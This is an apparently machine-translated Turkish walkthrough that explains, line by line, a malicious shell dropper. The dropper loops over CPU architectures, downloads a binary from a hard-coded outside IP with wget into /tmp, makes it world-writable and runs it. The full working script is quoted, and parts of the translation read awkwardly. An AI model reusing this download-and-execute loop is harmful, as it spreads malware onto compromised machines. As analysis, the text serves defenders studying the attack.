Satır satır:
#!/bin/sh
Kurar sh
shebang hattı olarak hangisi kabuğu,. sh%20/tmp/ks
istekte bunu geçersiz kılar, bu nedenle bu satır normal yorum olarak kabul edilir ve dikkate alınmaz.
u="asgknskjdgn"
Muhtemelen diğer dosya isimleri ile çarpışmaktan kaçınmak için isteğe bağlı bir isim ilan eder. Neden sadece kullanmayacaklarından emin değilim mktemp
, ama belki tüm platformlarda mevcut değil.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Birkaç ortak CPU mimarisini numaralandırır.
http_server="80.211.173.159"
http_port=80
Açıktan yararlanan sunucu.
cd /tmp/||cd /var/
Dizini web sunucunuzda değiştirmeye çalışır, muhtemelen dosya oluşturabilir. SELinux'un bu konuda yardımcı olacağına inanıyorum, web sunucusunun yapabilecekleri hakkında daha katı kurallar uygulayarak dosya sisteminin tek başına yapabileceğinden daha fazla.
for name in $bin_names
do
Her CPU mimarisi için…
rm -rf $u
Daha önce denenmiş olan yararlanma programlarını kaldırır. Bir sonraki satır nedeniyle gereksiz, bu yüzden göz ardı edilebilir.
cp $SHELL $u
Yürütülebilir geçerli kabuğu ( /bin/sh
) kopyalar . Bir sonraki satırdan dolayı ihmal edilebilir.
chmod 777 $u
Herkesin yeni dosyaya tam erişmesini sağlar. Bu wget
komut, ya bir komut dosyası yazma acemi veya yanlış yönlendirme tekniğinin bir işareti olan komuttan sonra olmalıydı .
>$u
Dosyayı boşaltır. Bir sonraki satır için anlamsız.
wget http://$http_server:$http_port/$name -O -> $u
Dosyanın üzerine bu mimari için exploit betiği yazar. -O -> $u
yazılabilirdi -O - > $u
(kısa çizgi, indirmenin standart çıktıya yazması gerektiğini gösterir) -O $u
.
./$u $name
Exploit betiğini mimariyle birlikte ilk argüman olarak çalıştırır.
done
Döngüyü sonlandırır.
Bu, çeşitli CPU platformlarına karşı bilinen istismarları deneyen önemsiz bir istismar girişimi senaryosu gibi görünüyor. Neden $u
üç kere üzerine yazdığını bilmiyorum , ancak bu işlemler betiğin daha önceki bir yinelemesinden kaynaklanıyor olabilir. Muhtemelen önceki versiyonun, dinamik olarak hizmet vermekten ziyade, sömürülen kodların zor kodlanmış olması eskidir - eski kolaydır, ancak hatalar yamalandıkça betiğin zamanla daha az etkili olacağını garanti eder.